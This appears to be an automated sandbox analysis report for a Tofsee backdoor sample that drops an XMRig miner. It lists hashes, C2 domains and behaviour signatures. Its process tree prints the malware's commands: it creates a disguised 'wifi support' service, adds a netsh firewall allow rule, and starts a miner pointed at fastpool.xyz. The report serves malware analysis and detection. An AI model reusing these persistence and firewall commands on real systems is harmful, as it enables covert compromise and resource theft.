Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-04-2023 16:04

General

  • Target

    file.exe

  • Size

    212KB

  • MD5

    8ede678cf734084b01751c5d54f7fba3

  • SHA1

    a706bed4987a37e4ee7367a28c144a57264c292b

  • SHA256

    1cf2f9ca3cc70c2919ba016a0166a95c81e1a09e95aaa5efb74c17e2a211c218

  • SHA512

    a189411e8de914453ed6e96cee2d99395f36caf89f75fd738f53cf62fd827ecd34cee1ad10761db77a99b374d4003645542b446aaec51887d3228da5473b7135

  • SSDEEP

    3072:Q/w2vKhLFzNxTvoecRDZFuxnpxyNmH25p062a3F5+mI7iMD:CWLFzN1y/Ytpt23V2a2J7iM

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4192
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xlsptusv\
      2⤵
        PID:4940
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\yferzzhl.exe" C:\Windows\SysWOW64\xlsptusv\
        2⤵
          PID:3024
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create xlsptusv binPath= "C:\Windows\SysWOW64\xlsptusv\yferzzhl.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2452
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description xlsptusv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3396
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start xlsptusv
          2⤵
          • Launches sc.exe
          PID:3844
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2312
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4192 -s 1040
          2⤵
          • Program crash
          PID:4596
      • C:\Windows\SysWOW64\xlsptusv\yferzzhl.exe
        C:\Windows\SysWOW64\xlsptusv\yferzzhl.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4128
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4280
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3108
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4128 -s 572
          2⤵
          • Program crash
          PID:4916
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4192 -ip 4192
        1⤵
          PID:4920
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4128 -ip 4128
          1⤵
            PID:1504

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\yferzzhl.exe

            Filesize

            10.6MB

            MD5

            a669d6c512f2e607667683c5f16461cc

            SHA1

            af64b617a12b3bf3631de5ebb9ac836ec125eaf9

            SHA256

            8995e0b3e7dfcfec1ff495ca15e74b139575c1900947ce4d91f8920ccb6021fb

            SHA512

            3ccad1c1576284b47f25c6e302eb85cdc7f4db3ce941d02885320dcdb1af01fd0dabed998db17f763a2dafb2f98841109b9dff9a881543e0d628c91339d3de64

          • C:\Windows\SysWOW64\xlsptusv\yferzzhl.exe

            Filesize

            10.6MB

            MD5

            a669d6c512f2e607667683c5f16461cc

            SHA1

            af64b617a12b3bf3631de5ebb9ac836ec125eaf9

            SHA256

            8995e0b3e7dfcfec1ff495ca15e74b139575c1900947ce4d91f8920ccb6021fb

            SHA512

            3ccad1c1576284b47f25c6e302eb85cdc7f4db3ce941d02885320dcdb1af01fd0dabed998db17f763a2dafb2f98841109b9dff9a881543e0d628c91339d3de64

          • memory/3108-195-0x0000000000600000-0x00000000006F1000-memory.dmp

            Filesize

            964KB

          • memory/3108-199-0x0000000000600000-0x00000000006F1000-memory.dmp

            Filesize

            964KB

          • memory/3108-198-0x0000000000600000-0x00000000006F1000-memory.dmp

            Filesize

            964KB

          • memory/3108-196-0x0000000000600000-0x00000000006F1000-memory.dmp

            Filesize

            964KB

          • memory/3108-197-0x0000000000600000-0x00000000006F1000-memory.dmp

            Filesize

            964KB

          • memory/3108-194-0x0000000000600000-0x00000000006F1000-memory.dmp

            Filesize

            964KB

          • memory/3108-193-0x0000000000600000-0x00000000006F1000-memory.dmp

            Filesize

            964KB

          • memory/3108-188-0x0000000000600000-0x00000000006F1000-memory.dmp

            Filesize

            964KB

          • memory/4128-146-0x0000000000400000-0x00000000004A2000-memory.dmp

            Filesize

            648KB

          • memory/4192-139-0x0000000000400000-0x00000000004A2000-memory.dmp

            Filesize

            648KB

          • memory/4192-135-0x0000000000570000-0x0000000000583000-memory.dmp

            Filesize

            76KB

          • memory/4280-167-0x00000000023E0000-0x00000000023F0000-memory.dmp

            Filesize

            64KB

          • memory/4280-173-0x00000000023E0000-0x00000000023F0000-memory.dmp

            Filesize

            64KB

          • memory/4280-160-0x00000000023E0000-0x00000000023F0000-memory.dmp

            Filesize

            64KB

          • memory/4280-161-0x00000000023E0000-0x00000000023F0000-memory.dmp

            Filesize

            64KB

          • memory/4280-162-0x00000000023E0000-0x00000000023F0000-memory.dmp

            Filesize

            64KB

          • memory/4280-163-0x00000000023E0000-0x00000000023F0000-memory.dmp

            Filesize

            64KB

          • memory/4280-164-0x00000000023E0000-0x00000000023F0000-memory.dmp

            Filesize

            64KB

          • memory/4280-165-0x00000000023E0000-0x00000000023F0000-memory.dmp

            Filesize

            64KB

          • memory/4280-166-0x00000000023E0000-0x00000000023F0000-memory.dmp

            Filesize

            64KB

          • memory/4280-156-0x00000000023E0000-0x00000000023F0000-memory.dmp

            Filesize

            64KB

          • memory/4280-168-0x00000000023E0000-0x00000000023F0000-memory.dmp

            Filesize

            64KB

          • memory/4280-169-0x00000000023E0000-0x00000000023F0000-memory.dmp

            Filesize

            64KB

          • memory/4280-170-0x00000000023E0000-0x00000000023F0000-memory.dmp

            Filesize

            64KB

          • memory/4280-171-0x00000000023E0000-0x00000000023F0000-memory.dmp

            Filesize

            64KB

          • memory/4280-172-0x00000000023E0000-0x00000000023F0000-memory.dmp

            Filesize

            64KB

          • memory/4280-159-0x00000000023E0000-0x00000000023F0000-memory.dmp

            Filesize

            64KB

          • memory/4280-174-0x00000000023E0000-0x00000000023F0000-memory.dmp

            Filesize

            64KB

          • memory/4280-175-0x00000000023E0000-0x00000000023F0000-memory.dmp

            Filesize

            64KB

          • memory/4280-176-0x00000000023F0000-0x00000000023F5000-memory.dmp

            Filesize

            20KB

          • memory/4280-179-0x00000000023F0000-0x00000000023F5000-memory.dmp

            Filesize

            20KB

          • memory/4280-180-0x0000000007C00000-0x000000000800B000-memory.dmp

            Filesize

            4.0MB

          • memory/4280-183-0x0000000007C00000-0x000000000800B000-memory.dmp

            Filesize

            4.0MB

          • memory/4280-184-0x00000000031D0000-0x00000000031D7000-memory.dmp

            Filesize

            28KB

          • memory/4280-153-0x00000000023D0000-0x00000000023D6000-memory.dmp

            Filesize

            24KB

          • memory/4280-152-0x0000000002C00000-0x0000000002E0F000-memory.dmp

            Filesize

            2.1MB

          • memory/4280-149-0x0000000002C00000-0x0000000002E0F000-memory.dmp

            Filesize

            2.1MB

          • memory/4280-148-0x0000000001060000-0x0000000001075000-memory.dmp

            Filesize

            84KB

          • memory/4280-144-0x0000000001060000-0x0000000001075000-memory.dmp

            Filesize

            84KB

          • memory/4280-145-0x0000000001060000-0x0000000001075000-memory.dmp

            Filesize

            84KB

          • memory/4280-143-0x0000000001060000-0x0000000001075000-memory.dmp

            Filesize

            84KB

          • memory/4280-140-0x0000000001060000-0x0000000001075000-memory.dmp

            Filesize

            84KB